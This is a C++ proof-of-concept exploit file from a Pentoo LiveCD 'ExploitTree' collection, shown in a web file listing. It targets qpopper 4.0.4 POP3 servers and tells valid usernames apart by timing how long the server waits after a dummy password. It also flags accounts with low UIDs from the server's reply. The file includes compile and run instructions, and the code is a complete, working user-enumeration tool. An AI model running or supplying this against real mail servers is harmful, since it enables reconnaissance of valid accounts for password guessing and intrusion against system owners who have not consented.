home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / qpopper / poptest.cpp < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  152 lines

  1. /**
  2.  * $Author: loni $
  3.  * $Date: 2005/02/12 19:35:50 $
  4.  *
  5.  * This is a proof of concept code to check wheter a given username is valid on
  6.  * a system running qpopper 4.0.4 and possibly other versions.
  7.  *
  8.  * Compile :
  9.  *
  10.  * g++ -Wall poptest.cpp -o poptest
  11.  * or 
  12.  * g++ -D_DEBUG_ poptest.cpp -o poptest
  13.  * (to see whats going on) 
  14.  *
  15.  * Run :
  16.  *
  17.  * ./poptest <hostname> <username>
  18.  *
  19.  * e.g.
  20.  *
  21.  * ./poptest 127.0.0.1 root
  22.  *
  23.  * When a username is valid on the system, qpopper waits ~10 seconds before it
  24.  * sends the sing off message to the user. If the username is not valid, it
  25.  * will send it immediately after the password is entered.
  26.  * If the username has a uid < 100 qpopper is even so nice to tell us.
  27.  */
  28.  
  29. #include <iostream>
  30. extern "C" {
  31. #include <sys/socket.h>
  32. #include <sys/types.h>
  33. #include <sys/time.h>
  34. #include <netinet/in.h>
  35. #include <fcntl.h>
  36. #include <errno.h>
  37. #include <unistd.h>
  38. #include <netdb.h>
  39. #include <stdio.h>
  40. #include <string.h>
  41. }
  42.  
  43. using namespace std;
  44.  
  45. //#define _DEBUG_ 1
  46.  
  47. int main ( int argc, char * argv[])
  48. {
  49.   struct timeval tim1;
  50.   struct timeval tim2;
  51.   int sock;
  52.   struct hostent *peerip;
  53.   struct sockaddr_in peer;
  54.   char * buf = new char[4096];
  55.  
  56.  
  57.   if ( argc != 3 )
  58.   {
  59.       cerr << "Must give username and host" << endl;
  60.       return -1;
  61.   }
  62.  
  63.   
  64.   sock = socket ( AF_INET, SOCK_STREAM, 0);
  65.  
  66.   peerip = gethostbyname ( argv[1] );
  67.  
  68.   if ( ! peerip ) 
  69.   {
  70.       cerr << "Hostname not valid" << endl;
  71.       return -1;
  72.   }
  73.   cout << "Validating username " << argv[2] << " , please stand by.."  << endl;
  74.  
  75.   peer.sin_family = AF_INET;
  76.   peer.sin_port = htons(110);
  77.   peer.sin_addr = *((struct in_addr *) peerip->h_addr);
  78.   memset(&(peer.sin_zero),0,8);
  79.  
  80.  
  81.  
  82.   if ( connect( sock, (sockaddr *) & peer, sizeof(struct sockaddr)) < 0)
  83.   {
  84.       cerr << "Could not connect !" << endl;
  85.       return -1;
  86.   } 
  87.  
  88.   memset ( buf, 0, 4096 );
  89.   read ( sock, buf, 4096 );
  90. #ifdef _DEBUG_
  91.   cout << "<- " << buf << endl;
  92. #endif
  93.  
  94.  
  95.  
  96.   memset ( buf, 0, 4096 );
  97.   snprintf ( buf, 4096, "USER %s\r\n", argv[2]);
  98.   write ( sock, buf, strlen(buf) );
  99. #ifdef _DEBUG_
  100.   cout << "-> " << buf << endl;
  101. #endif
  102.  
  103.   memset ( buf, 0, 4096 );
  104.   read ( sock, buf, 4096 );
  105. #ifdef _DEBUG_
  106.   cout << "<- " << buf << endl;
  107. #endif
  108.  
  109.   write ( sock, "PASS xxx\r\n", 11);
  110. #ifdef _DEBUG_
  111.   cout << "-> PASS xxx" << endl;
  112. #endif
  113.  
  114.   memset ( buf, 0, 4096 );
  115.   read ( sock, buf, 4096 );
  116. #ifdef _DEBUG_
  117.   cout << "<- " << buf << endl;
  118. #endif
  119.  
  120.   if ( strstr( buf, "100") != NULL )
  121.   {
  122.       cout << "User has probably an UID < 100 and is a valid user." << endl;
  123.       close(sock);
  124.       return 0;
  125.   }
  126.  
  127.   gettimeofday(&tim1,NULL);
  128.   memset ( buf, 0, 4096 );
  129.   read ( sock, buf, 4096 );
  130. #ifdef _DEBUG_
  131.   cout << "<- " << buf << endl;
  132. #endif
  133.   gettimeofday(&tim2,NULL);
  134.  
  135.   double s = (tim2.tv_sec - tim1.tv_sec);
  136.   s += ((double)(tim2.tv_usec - tim1.tv_usec))/1000000.0;
  137.  
  138.   cout << "Disconnected after " << s << " seconds." << endl;
  139.  
  140.   if ( s > 1.0 )
  141.   {
  142.       cout << "User \"" << argv[2] << "\" is probably a valid user" << endl;
  143.   }
  144.   else
  145.   {
  146.       cout << "User \"" << argv[2] << "\" is probably NOT a valid user" << endl;
  147.   }
  148.   close(sock);
  149.   return 0;
  150.  
  151. }
  152.